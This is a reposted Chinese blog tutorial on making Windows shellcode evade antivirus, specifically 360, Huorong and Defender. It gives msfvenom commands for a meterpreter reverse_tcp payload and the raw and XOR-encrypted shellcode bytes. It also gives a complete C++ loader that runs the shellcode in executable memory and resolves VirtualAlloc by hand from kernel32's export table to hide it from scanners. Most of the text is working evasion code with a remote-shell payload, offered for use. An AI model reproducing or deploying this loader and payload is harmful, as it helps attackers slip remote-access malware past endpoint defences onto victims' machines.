ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防

2021-02-17 11:05:16  阅读:1826  来源: 互联网

标签:x44 xcf 免杀 Windows xff x8b x00 及主防 xbb


Shellcode,顾名思义是一段拿来执行的代码片段,我们可以使用Shellcode来完成我们需要的任务

弹窗的代码,可以被认为是一段Shellcode,获取某个模块的基址的代码,也可以被认为是一段Shellcode,同理,拿来干坏事的代码,也是Shellcode

如今的杀毒软件都拥有查杀病毒木马的能力,除了静态的查杀,还有动态的主动防御,若恶意代码片段(拿来干坏事的Shellcode)被杀软发现,则可以认为当前运行的程序是病毒木马或是被感染的文件,理应“杀掉”

有些时候,我们不想让自己写的代码被杀毒软件当作恶意软件,于是出现了免杀技术,今天来尝试着做一次免杀

首先使用万能的Metasploit生成一个普普通通的payload文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx -f exe -o payload.exe

把payload.exe复制到带有火绒的系统中,被秒杀,由此见得各杀软是把这一类工具的产物盯得死死的

换个思路,仅把Shellcode生成出来,自己做免杀

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx -f c -o payload.c

得到的payload.c如下

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x8b\x48\x18\x50"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x99\x81\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

然后我们使用C++来执行这段Shellcode

#include <Windows.h>
#include <iostream>

using namespace std;

// 此处是上面的payload.c中的代码

int main()
{
	int a;
	cin >> a;
	if (a == 123)
	{
		auto b = (void(*)())VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		memcpy(b, buf, sizeof(buf));
		b();
	}
}

开发环境用的是Visual Studio 2019,Release x86,其余是默认设置

我们将编译好的程序运行,输入123回车,Shellcode执行成功,而全程火绒没有任何反应

火绒的静态和主防能力有点令人糟心

将程序复制到有Defender的系统上,被秒杀

Defender静态查杀估计是特征码,我们将payload加密一下

string s;
for (size_t i = 0; i < sizeof(buf); i++)
{
	int n = buf[i] ^ 0x44;
	char c[5]{};
	sprintf_s(c, "\\x%x", n);
	s += c;
}
cout << s << endl;

即可得到加密后的payload,我们把输出的新payload替换原有的payload,然后在b();上一行添加解密代码

for (size_t i = 0; i < sizeof(buf); i++)
{
	((unsigned char*)b)[i] ^= 0x44;
}

这次新生成的程序成功绕过了Defender的静态查杀,网传Defender没有主动防御,不知是真是假,反正Shellcode也成功执行,代表着Defender没起作用

接下来把程序复制到有360的系统上,360没有第一时间报毒,但是双击执行的时候被拦截下来了,弹窗提示木马

好家伙,接下来就是长达半小时的不断尝试

本身Shellcode被加密,特征码肯定是没有了,而程序一开始并没有执行Shellcode,因此被杀的原因肯定是出在自己的C++代码上

考虑到VirtualAlloc是一个高危函数,在杀软心中权重很大,且配合其参数,申请一块可执行的内存空间的行为非常可疑,这应该是被杀的主要原因

采用我前面发的写壳的文章中手动找函数地址的方法,避开将VirtualAlloc明文写在导入表里

#include <Windows.h>
#include <iostream>

using namespace std;

typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);

unsigned char buf[] = "\xb8\xac\xcb\x44\x44\x44\x24\x75\x96\xcd\xa1\x20\xcf\x16\x74\xcf\x16\x48\xcf\x16\x50\x75\xbb\x4b\xf3\xe\x62\xcf\x36\x6c\x75\x84\xe8\x78\x25\x38\x46\x68\x64\x85\x8b\x49\x45\x83\xd\x31\xab\x16\xcf\x16\x54\x13\xcf\x6\x78\x45\x94\xcf\x4\x3c\xc1\x84\x30\x8\x45\x94\xcf\x1c\x64\x45\x97\xcf\xc\x5c\x14\xc1\x8d\x30\x78\x75\xbb\xd\xcf\x70\xcf\x45\x92\x75\x84\x85\x8b\x49\xe8\x45\x83\x7c\xa4\x31\xb0\x47\x39\xbc\x7f\x39\x60\x31\xa4\x1c\xcf\x1c\x60\x45\x97\x22\xcf\x48\xf\xcf\x1c\x58\x45\x97\xcf\x40\xcf\x45\x94\xcd\x0\x60\x60\x1f\x1f\x25\x1d\x1e\x15\xbb\xa4\x1c\x1b\x1e\xcf\x56\xad\xc4\xbb\xbb\xbb\x19\x2c\x77\x76\x44\x44\x2c\x33\x37\x76\x1b\x10\x2c\x8\x33\x62\x43\xcd\xac\xbb\x94\xfc\xd4\x45\x44\x44\x6d\x80\x10\x14\x2c\x6d\xc4\x2f\x44\xbb\x91\x2e\x4e\x2c\x84\xec\xdd\xc5\x2c\x46\x44\x55\x18\xcd\xa2\x14\x14\x14\x14\x4\x14\x4\x14\x2c\xae\x4b\x9b\xa4\xbb\x91\xd3\x2e\x54\x12\x13\x2c\xdd\xe1\x30\x25\xbb\x91\xc1\x84\x30\x4e\xbb\xa\x4c\x31\xa8\xac\x23\x44\x44\x44\x2e\x44\x2e\x40\x12\x13\x2c\x46\x9d\x8c\x1b\xbb\x91\xc7\xbc\x44\x3a\x72\xcf\x72\x2e\x4\x2c\x44\x54\x44\x44\x12\x2e\x44\x2c\x1c\xe0\x17\xa1\xbb\x91\xd7\x17\x2e\x44\x12\x17\x13\x2c\x46\x9d\x8c\x1b\xbb\x91\xc7\xbc\x44\x39\x6c\x1c\x2c\x44\x4\x44\x44\x2e\x44\x14\x2c\x4f\x6b\x4b\x74\xbb\x91\x13\x2c\x31\x2a\x9\x25\xbb\x91\x1a\x1a\xbb\x48\x60\x4b\xc1\x34\xbb\xbb\xbb\xad\xdf\xbb\xbb\xbb\x45\x87\x6d\x82\x31\x85\x87\xff\xb4\xf1\xe6\x12\x2e\x44\x17\xbb\x91";

size_t getKernelBase()
{
	return *(***(*((size_t*****)__readfsdword(0x30) + 3) + 7) + 2);
}

int main()
{
	int a;
	cin >> a;
	if (a == 123)
	{
		size_t hKernel = getKernelBase();
		PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)hKernel;
		PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(pImageDosHeader->e_lfanew + hKernel);
		PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hKernel);
		size_t nameCount = pImageExportDirectory->NumberOfNames;
		size_t funcAddr = pImageExportDirectory->AddressOfFunctions + hKernel;
		size_t nameAddr = pImageExportDirectory->AddressOfNames + hKernel;
		size_t ordinal = pImageExportDirectory->AddressOfNameOrdinals + hKernel;
		fGetProcAddress fnGetProcAddress = NULL;
		for (size_t i = 0; i < nameCount; i++)
		{
			USHORT* n = (USHORT*)(*(size_t*)(nameAddr + i * 4) + hKernel);
			if (n[0] == 0x6547 && n[1] == 0x5074 && n[2] == 0x6f72 && n[3] == 0x4163 && n[4] == 0x6464 && n[5] == 0x6572 && n[6] == 0x7373)
			{
				fnGetProcAddress = (fGetProcAddress)(*(size_t*)(funcAddr + *(USHORT*)(ordinal + i * 2) * 4) + hKernel);
			}
		}
		if (fnGetProcAddress == NULL)
		{
			return 0;
		}
		size_t str1[4];
		str1[0] = 0x74726956;
		str1[1] = 0x416c6175;
		str1[2] = 0x636f6c6c;
		str1[3] = 0x0;
		fVirtualAlloc fnVirtualAlloc = (fVirtualAlloc)fnGetProcAddress((HMODULE)hKernel, (char*)str1);
		auto b = (void(*)())fnVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		memcpy(b, buf, sizeof(buf));
		for (size_t i = 0; i < sizeof(buf); i++)
		{
			((unsigned char*)b)[i] ^= 0x44;
		}
		b();
	}
}

要注意的是,我这里把找Kernel32.dll基址的代码另起了一个函数,是因为不这样的话还是会被查杀,估计是“获取基址+解析PE文件”这一段代码被识别成了特征码,而我将它们分开则破坏了特征

为了不让编译器优化机制坏我们的好事,在设置中关闭编译器优化

接下来新生成的程序成功绕过了360的查杀,顺利执行了Shellcode

再将程序分别拿到有火绒和有Defender的系统中,照样无视它们~

至此,Shellcode免杀就告一段落了,这次尝试还是比较成功的,在思考的过程中我也有许多的收获,自己也有一些独自的见解,比如插入花指令啥的,当时试了一下没起作用,现在想想,有可能是被编译器优化坏了好事= =

同时,在网上收集资料的过程中也看到了许多大佬的文章和心得,函数哈希、托管代码、powershell、白加黑等操作令我耳目一新,有时间的话把这些方法都学一学,也算是增长见识了

现在的杀软的云查杀非常厉害,单独的免杀我认为前途不大,如果程序能够自己“分裂”无数个自己,而每个自己又不相同,却可以完成一样的事情,这才能真正应对云查杀

标签:x44,xcf,免杀,Windows,xff,x8b,x00,及主防,xbb
来源: https://blog.csdn.net/tqydyqt/article/details/113831533

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有